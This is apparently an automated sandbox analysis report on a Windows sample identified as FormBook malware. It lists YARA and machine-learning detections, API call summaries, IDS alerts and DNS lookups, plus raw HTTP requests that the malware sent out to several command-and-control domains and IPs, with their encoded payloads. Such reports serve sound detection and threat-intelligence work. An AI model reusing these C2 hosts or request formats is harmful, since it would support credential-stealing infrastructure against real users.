Windows Analysis Report
A2028041200SD.exe

AI detected suspicious sample

Source: Yara match	File source: 8.2.svchost.exe.24b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.24b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.3124723950.0000000002B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1391788061.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3124795821.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1391861547.0000000005400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1390489944.00000000024B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3121706684.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3132931690.0000000008020000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3124924415.0000000004A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: A2028041200SD.exe

Joe Sandbox ML: detected

Source: A2028041200SD.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: winrs.pdbGCTL source: svchost.exe, 00000008.00000003.1356648780.0000000002824000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1356563813.000000000281B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1356633765.000000000281A000.00000004.00000020.00020000.00000000.sdmp, zJGHFZpQDL.exe, 00000009.00000003.1465092401.0000000000EBF000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: zJGHFZpQDL.exe, 00000009.00000002.3122329722.0000000000A8E000.00000002.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: A2028041200SD.exe, 00000000.00000003.1283531173.0000000003550000.00000004.00001000.00020000.00000000.sdmp, A2028041200SD.exe, 00000000.00000003.1285810002.0000000003740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1391439293.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1391439293.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1288833673.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1290791645.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125013421.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, winrs.exe, 0000000A.00000003.1394010925.0000000002C5A000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000003.1391554853.0000000002A72000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125013421.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: A2028041200SD.exe, 00000000.00000003.1283531173.0000000003550000.00000004.00001000.00020000.00000000.sdmp, A2028041200SD.exe, 00000000.00000003.1285810002.0000000003740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000008.00000002.1391439293.000000000309E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.1391439293.0000000002F00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1288833673.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1290791645.0000000002D00000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125013421.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, winrs.exe, 0000000A.00000003.1394010925.0000000002C5A000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000003.1391554853.0000000002A72000.00000004.00000020.00020000.00000000.sdmp, winrs.exe, 0000000A.00000002.3125013421.0000000002F9E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: winrs.pdb source: svchost.exe, 00000008.00000003.1356648780.0000000002824000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1356563813.000000000281B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000003.1356633765.000000000281A000.00000004.00000020.00020000.00000000.sdmp, zJGHFZpQDL.exe, 00000009.00000003.1465092401.0000000000EBF000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00936CA9 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00936CA9
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009360DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose,	0_2_009360DD
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_009363F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,	0_2_009363F9
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0093EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_0093EB60
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0093F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_0093F5FA
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_0093F56F FindFirstFileW,FindClose,	0_2_0093F56F
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00941B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00941B2F
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00941C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00941C8A
Source: C:\Users\user\Desktop\A2028041200SD.exe	Code function: 0_2_00941F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00941F94

Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 4x nop then pop edi		9_2_08093339
Source: C:\Program Files (x86)\sldRxWQECDhSfMeMiXnjUkxYhWJfedEYWNhutcWNsBrhHcHEOsaCNhiHMaHBiSPnnLbdpmTDmXShT\zJGHFZpQDL.exe	Code function: 4x nop then xor eax, eax		9_2_08098BB8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49847 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:49847 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49961 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49977 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49979 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:49979 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49981 -> 66.29.132.194:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49982 -> 66.29.132.194:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49987 -> 202.92.5.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49983 -> 66.29.132.194:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50006 -> 209.74.77.109:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49994 -> 103.230.159.86:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49986 -> 202.92.5.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49995 -> 103.230.159.86:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50010 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50001 -> 118.107.250.103:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49996 -> 103.230.159.86:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49991 -> 194.195.220.41:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:49996 -> 103.230.159.86:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50014 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49990 -> 194.195.220.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49978 -> 23.167.152.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50015 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49985 -> 202.92.5.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50017 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50018 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50009 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50003 -> 118.107.250.103:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49997 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49998 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49993 -> 103.230.159.86:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49999 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50013 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:50008 -> 209.74.77.109:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:49989 -> 194.195.220.41:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:50008 -> 209.74.77.109:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:50000 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:50000 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49988 -> 202.92.5.23:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:49988 -> 202.92.5.23:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50005 -> 209.74.77.109:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50007 -> 209.74.77.109:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:50016 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:50016 -> 194.245.148.189:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49984 -> 66.29.132.194:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:49984 -> 66.29.132.194:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50011 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:49992 -> 194.195.220.41:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:49992 -> 194.195.220.41:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50002 -> 118.107.250.103:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:50004 -> 118.107.250.103:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:50004 -> 118.107.250.103:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.10:50019 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.10:50012 -> 188.114.96.3:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.10:50012 -> 188.114.96.3:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.beylikduzu616161.xyz
Source:	DNS query: www.dating-apps-az-dn5.xyz

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: NEXINTO-DE NEXINTO-DE
Source: Joe Sandbox View	ASN Name: MULTIBAND-NEWHOPEUS MULTIBAND-NEWHOPEUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: MAMMOTHMEDIA-AS-APMammothMediaPtyLtdAU MAMMOTHMEDIA-AS-APMammothMediaPtyLtdAU

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\A2028041200SD.exe

Code function: 0_2_00944EB5 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00944EB5

Source: global traffic	HTTP traffic detected: GET /vluw/?prh4=Qny9vPKZpQxlYqiHBli6Dgd1W9OHStFoVbvPUumHvVgYiZzoUIcT00lHd/ClJ1QqOMs3sbdEqCPN2Gnhne5G8ybZX+Xf8gbOpuID/3YwCRTfrNHUUA==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.zkdamdjj.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /a4h7/?prh4=PP6GFaOQILwxi5dhMSrYmidfGUiluWiM7xDYUPH7LXca8g8uO5tY4GvA0apkUDdsINAyEZvfq9K0A+PIYqHQIltxcg2u/Ln1i4sz2BSy8/lHA9faVw==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.75178.clubConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /k6yn/?_VK8=7pXD8zQxGFxP&prh4=tNpa1p20+8HvGGTGCcJ0ltHXQ7hkDEI9aQgmgnvjgQBap2YCvQVXfu4lL5fLGicbWcSejDEnKeIqzsVAbPYV6QWKx4B669tBZ47n68xm5CBB0u297w== HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.orbitoasis.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /cboa/?prh4=af1TSyH9ZKWDWOLime6W6+N8m41wPvg6MbDiaGUzr5LnkxoPx276h77cE37euV2f02htPG9gF0GAKqxhPgTdbhPG43TCObvDHb/CcXEoGnF55JIhuw==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.thaor56.onlineConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /0gis/?prh4=aMrcg/vn2G/nVrnfdsqttTKn7l5IpN7CuDhUOTj2ocWrQXkoPHFbln1FmLoTaWY74KRoWkXSZUSbj2dC1qWbZWPyRks4Yv4++AQZW9eiSbZnXCVOCA==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.earbudsstore.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /bwyw/?prh4=zeqgG3zf3rSD22A3/l1gTLGQ/sW8joOuTT/213oW5xKBpEmM0JRqJaaJcKUMxr+7Esc9obOTS2jlvNaYH8wfdJGRHCEAKXdxR5M68AEOT1S+b5dkfA==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.superiorfencing.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /2nga/?prh4=Q2EbwnYhq4vEVEYycJMqtdR4BlKtLPQlBliPtc8X0AIyDwowOCFGn/661E09vvaaF3LvgpjgW8Wvr6GWd63UJrhBCWi6xUDdTpqdehfcV6DO82Y8sA==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.beylikduzu616161.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /gxyh/?prh4=xivIugper8hSVuoN4YvDvis0ACu7xzkGnAUBMzrp/j5qvAoCvNj6F299r/oRQ/YEeKRSLhAnFUBxmqELIOT++SwIfOluLOgfprtVp+sbk1f1bmq9tA==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.zxyck.netConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /n9b0/?prh4=A8VrqyfvUbO/Hw2IDw0dtkQZ0NZDVPvZj5dGp0FbdWJo87i+fAzGqY/WbkPjYDkNrmWhazG0hIjSjfnpkftd4udfcATptjj7os9tTYvN+mNNekq8bw==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.dailyfuns.infoConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /1ag2/?prh4=4VB/N4F6tibqC9FTErplINOthlfgxvKF4YtEqiz3GsaSMOHPZtZI38ZqeQNXmBxLoc2gIm7YkXHcJ/CISLsxY8XxMzohQjeM2qyI6vORstQK1Dv1jg==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.mydreamdeal.clickConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko
Source: global traffic	HTTP traffic detected: GET /dvmh/?prh4=oFIEYIO2gjvnF7Mvhq7sL0t2a9Wv2ONAMWbI9WLDgwNy2jujsZOasn0dsRYzh1BdbVLS+4ZlfSYhPFaSDYrrOj2l86R3Os3ZjQmQABGtMbl8YFkRqw==&_VK8=7pXD8zQxGFxP HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.maitreyatoys.worldConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like Gecko

Source: global traffic	DNS traffic detected: DNS query: www.zkdamdjj.shop
Source: global traffic	DNS traffic detected: DNS query: www.75178.club
Source: global traffic	DNS traffic detected: DNS query: www.orbitoasis.online
Source: global traffic	DNS traffic detected: DNS query: www.thaor56.online
Source: global traffic	DNS traffic detected: DNS query: www.earbudsstore.shop
Source: global traffic	DNS traffic detected: DNS query: www.superiorfencing.net
Source: global traffic	DNS traffic detected: DNS query: www.beylikduzu616161.xyz
Source: global traffic	DNS traffic detected: DNS query: www.zxyck.net
Source: global traffic	DNS traffic detected: DNS query: www.dailyfuns.info
Source: global traffic	DNS traffic detected: DNS query: www.mydreamdeal.click
Source: global traffic	DNS traffic detected: DNS query: www.maitreyatoys.world
Source: global traffic	DNS traffic detected: DNS query: www.dating-apps-az-dn5.xyz

Source: unknown

HTTP traffic detected: POST /a4h7/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Host: www.75178.clubOrigin: http://www.75178.clubCache-Control: no-cacheContent-Type: application/x-www-form-urlencodedContent-Length: 193Connection: closeReferer: http://www.75178.club/a4h7/User-Agent: Mozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 521) like GeckoData Raw: 70 72 68 34 3d 43 4e 53 6d 47 73 43 71 44 70 59 56 32 37 4e 53 4e 44 43 47 76 45 42 41 54 33 6d 56 72 6d 72 37 70 69 62 7a 53 2b 50 31 45 69 35 57 37 31 45 54 41 36 77 4c 6e 57 53 51 39 35 70 4a 57 54 4e 78 65 63 6c 30 46 34 2b 33 6e 2b 4b 34 41 4e 6a 64 50 38 6e 63 4c 48 42 61 56 53 6a 56 32 34 37 6f 72 36 67 6b 32 31 65 69 6c 65 56 50 4c 76 6a 45 4a 51 37 57 67 34 74 7a 37 52 42 48 74 76 34 53 49 34 4c 4a 4a 39 32 53 30 68 34 78 57 70 6e 30 65 4b 66 4d 34 64 6b 47 4d 4b 67 2f 75 6b 59 48 61 31 4f 4a 46 43 6f 75 4b 4e 75 70 78 6d 73 35 4b 6c 73 31 70 61 63 71 47 30 74 71 Data Ascii: prh4=CNSmGsCqDpYV27NSNDCGvEBAT3mVrmr7pibzS+P1Ei5W71ETA6wLnWSQ95pJWTNxecl0F4+3n+K4ANjdP8ncLHBaVSjV247or6gk21eileVPLvjEJQ7Wg4tz7RBHtv4SI4LJJ92S0h4xWpn0eKfM4dkGMKg/ukYHa1OJFCouKNupxms5Kls1pacqG0tq

